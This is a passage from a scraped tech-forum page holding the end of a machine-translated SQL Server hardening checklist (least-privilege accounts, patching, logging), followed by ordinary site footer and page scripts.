'Northwind' and 'Pubs' Database 4. Determine which objects can be used to use</p> <p>a. The account used by the application enters the database should have the minimum permissions that guarantees the object it needs to use.</p> <p>5. Determine the server's patches</p> <p>a. For SQL Server has some buffer overflow and formatted string attacks, there are also some other security patches release. There should be a lot.</p> <p>6. OK should be recorded by logs, what should be ended in the log.</p></div><div class="text-center mt-3 text-grey"> 转载请注明原文地址:https://www.9cbs.com/read-115236.html</div><div class="plugin d-flex justify-content-center mt-3"></div><hr><div class="row"><div class="col-lg-12 text-muted mt-2"><i class="icon-tags mr-2"></i><span class="badge border border-secondary mr-2"><h2 class="h6 mb-0 small"><a class="text-secondary" href="tag-2.html">9cbs</a></h2></span></div></div></div></div><div class="card card-postlist border-white shadow"><div class="card-body"><div class="card-title"><div class="d-flex justify-content-between"><div><b>New Post</b>(<span class="posts">0</span>) </div><div></div></div></div><ul class="postlist list-unstyled"> </ul></div></div><div class="d-none threadlist"><input type="checkbox" name="modtid" value="115236" checked /></div></div></div></div></div><footer class="text-muted small bg-dark py-4 mt-3" id="footer"><div class="container"><div class="row"><div class="col">CopyRight © 2020 All Rights Reserved </div><div class="col text-right">Processed: <b>0.044</b>, SQL: <b>9</b></div></div></div></footer><script src="./lang/en-us/lang.js?2.2.0"></script><script src="view/js/jquery.min.js?2.2.0"></script><script src="view/js/popper.min.js?2.2.0"></script><script src="view/js/bootstrap.min.js?2.2.0"></script><script src="view/js/xiuno.js?2.2.0"></script><script src="view/js/bootstrap-plugin.js?2.2.0"></script><script src="view/js/async.min.js?2.2.0"></script><script src="view/js/form.js?2.2.0"></script><script> var debug = DEBUG = 0; var url_rewrite_on = 1; var url_path = './'; var forumarr = {"1":"Tech"}; var fid = 1; var uid = 0; var gid = 0; xn.options.water_image_url = 'view/img/water-small.png'; </script><script src="view/js/wellcms.js?2.2.0"></script><a class="scroll-to-top rounded" href="javascript:void(0);"><i class="icon-angle-up"></i></a><a class="scroll-to-bottom rounded" href="javascript:void(0);" style="display: inline;"><i class="icon-angle-down"></i></a></body></html><script> var forum_url = 'list-1.html'; var safe_token = '2epvhWKnI5slrAeE8B_2FVmZ3pPbCzns_2BaTop_2BDU4ny3FMOXhRLaaGQxqvnSwetKIqON8QM05bImmRLKQnLMGd_2FQ_3D_3D'; var body = $('body'); body.on('submit', '#form', function() { var jthis = $(this); var jsubmit = jthis.find('#submit'); jthis.reset(); jsubmit.button('loading'); var postdata = jthis.serializeObject(); $.xpost(jthis.attr('action'), postdata, function(code, message) { if(code == 0) { location.reload(); } else { $.alert(message); jsubmit.button('reset'); } }); return false; }); function resize_image() { var jmessagelist = $('div.message'); var first_width = jmessagelist.width(); jmessagelist.each(function() { var jdiv = $(this); var maxwidth = jdiv.attr('isfirst') ? first_width : jdiv.width(); var jmessage_width = Math.min(jdiv.width(), maxwidth); jdiv.find('img, embed, iframe, video').each(function() { var jimg = $(this); var img_width = this.org_width; var img_height = this.org_height; if(!img_width) { var img_width = jimg.attr('width'); var img_height = jimg.attr('height'); this.org_width = img_width; this.org_height = img_height; } if(img_width > jmessage_width) { if(this.tagName == 'IMG') { jimg.width(jmessage_width); jimg.css('height', 'auto'); jimg.css('cursor', 'pointer'); jimg.on('click', function() { }); } else { jimg.width(jmessage_width); var height = (img_height / img_width) * jimg.width(); jimg.height(height); } } }); }); } function resize_table() { $('div.message').each(function() { var jdiv = $(this); jdiv.find('table').addClass('table').wrap('<div class="table-responsive"></div>'); }); } $(function() { resize_image(); resize_table(); $(window).on('resize', resize_image); }); var jmessage = $('#message'); jmessage.on('focus', function() {if(jmessage.t) { clearTimeout(jmessage.t); jmessage.t = null; } jmessage.css('height', '6rem'); }); jmessage.on('blur', function() {jmessage.t = setTimeout(function() { jmessage.css('height', '2.5rem');}, 1000); }); $('#nav li[data-active="fid-1"]').addClass('active'); </script>